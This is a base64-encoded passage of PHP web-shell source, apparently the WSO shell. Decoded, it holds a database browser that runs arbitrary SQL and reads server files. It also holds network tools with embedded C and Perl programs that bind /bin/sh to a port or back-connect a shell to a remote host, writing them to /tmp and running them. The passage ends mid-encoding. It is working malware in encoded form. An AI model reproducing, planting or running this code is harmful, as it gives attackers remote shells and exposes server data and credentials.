ICAgICAgICAgICAgIDxzZWxlY3QgbmFtZT0ndHlwZSc+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibXlzcWwiIDw/cGhwIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7Pz4+TXlTcWw8L29wdGlvbj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZ3NxbCIgPD9waHAgaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzs/Pj5Qb3N0Z3JlU3FsPC9vcHRpb24+IA0KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPSc8Pz0oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpOz8+Jz48L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKTs/Pic+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKTs/Pic+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPiANCiAgICA8P3BocCANCiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsgDQogICAgICAgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgeyANCiAgICAgICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7IA0KICAgICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsgDQogICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPC9zZWxlY3Q+JzsgDQogICAgICAgIH0gDQogICAgICAgIGVsc2UgZWNobyAkdG1wOyANCiAgICB9ZWxzZSANCiAgICAgICAgZWNobyAkdG1wOyANCiAgICA/PjwvdGQ+IA0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPiANCiAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICA8L3RhYmxlPiANCiAgICAgICAgPHNjcmlwdD4gDQogICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsgDQogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsgDQogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2YucDIudmFsdWUgPSB0OyANCiAgICAgICAgICAgICAgICBpZihsIT1udWxsKWRvY3VtZW50LnNmLnAzLnZhbHVlID0gbDsgDQogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2Yuc3VibWl0KCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgeyANCiAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkgDQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsgDQogICAgICAgICAgICB9IA0KICAgICAgICA8L3NjcmlwdD4gDQogICAgPD9waHAgDQogICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspeyANCiAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsgDQogICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7IA0KICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsgDQogICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2O2JvcmRlci1yaWdodDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsgDQogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsgDQogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsgDQogICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJylcIj4iLiR2YWx1ZS4iPC9hPiAoIi4kblsnbiddLiIpPC9ub2JyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOyANCiAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiRfUE9TVFsncDInXS4nJyk7IA0KICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOyANCiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRudW1bJ24nXTsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICgkbnVtKSAiOyANCiAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgIT0gKGludCkkX1BPU1RbJ3AzJ10pIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J3N0KFwiIi4kX1BPU1RbJ3AyJ10uIlwiLCAkaSknPiIsKCRpKzEpLCI8L2E+ICI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICgkaSsxKSwiICI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykgDQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOyANCiAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AzJ10pKSB7IA0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gZmFsc2U7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpICAgIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZT10cnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj48dHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE/MjoxOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOyANCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBuYW1lPSdwMycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iLkBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSkuIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7IA0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7IA0KICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7IA0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkX1BPU1RbJ3AyJ10pLiInKSBhcyBmaWxlIik7IA0KICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5mZXRjaCgpOyANCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7DQogICAgICAgICAgICB9IA0KICAgIH0gDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgcHJpbnRGb290ZXIoKTsgDQp9IA0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsgDQogICAgcHJpbnRIZWFkZXIoKTsgDQogICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwSUhzTkNpQWdJQ0JwYm5RZ1ptUTdEUW9nSUNBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlITnBianNOQ2lBZ0lDQmtZV1Z0YjI0b01Td3dLVHNOQ2lBZ0lDQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ0lDQWdjMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzTkNpQWdJQ0JtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzTkNpQWdJQ0JwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWtnSm5OcGJpd2djMmw2Wlc5bUtITjBjblZqZENCemIyTnJZV1JrY2lrcEtUd3dLU0I3RFFvZ0lDQWdJQ0FnSUhCbGNuSnZjaWdpUTI5dWJtVmpkQ0JtWVdsc0lpazdEUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNBZ0lIME5DaUFnSUNCa2RYQXlLR1prTENBd0tUc05DaUFnSUNCa2RYQXlLR1prTENBeEtUc05DaUFnSUNCa2RYQXlLR1prTENBeUtUc05DaUFnSUNCemVYTjBaVzBvSWk5aWFXNHZjMmdnTFdraUtUc05DaUFnSUNCamJHOXpaU2htWkNrN0RRcDkiOyANCiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsgDQogICAgJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xzWlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWdaSFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNESW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQVDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWwwc2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7IA0KICAgICRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsgDQogICAgPz4gDQogICAgPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4gDQogICAgPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4gDQogICAgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J3dzbyc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPSdicGMnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+IA0KICAgIDwvZm9ybT4gDQogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPiANCiAgICA8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4gDQogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nPD89JF9TRVJWRVJbJ1JFTU9URV9BRERSJ10/Pic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT0nYmNjJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmNwJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPiANCiAgICA8L2Zvcm0+PGJyPiANCiAgICA8P3BocCANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgeyANCiAgICAgICAgICAgICR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7IA0KICAgICAgICAgICAgaWYoJHcpICAgIHsgDQogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwYycpIHsgDQogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOyANCiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7IA0KICAgICAgICAgICAgQHVubGluaygiL3RtcC9icC5jIik7IA0KICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYnAiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOyANCiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iICYiKTsgDQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7IA0KICAgICAgICB9IA0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYy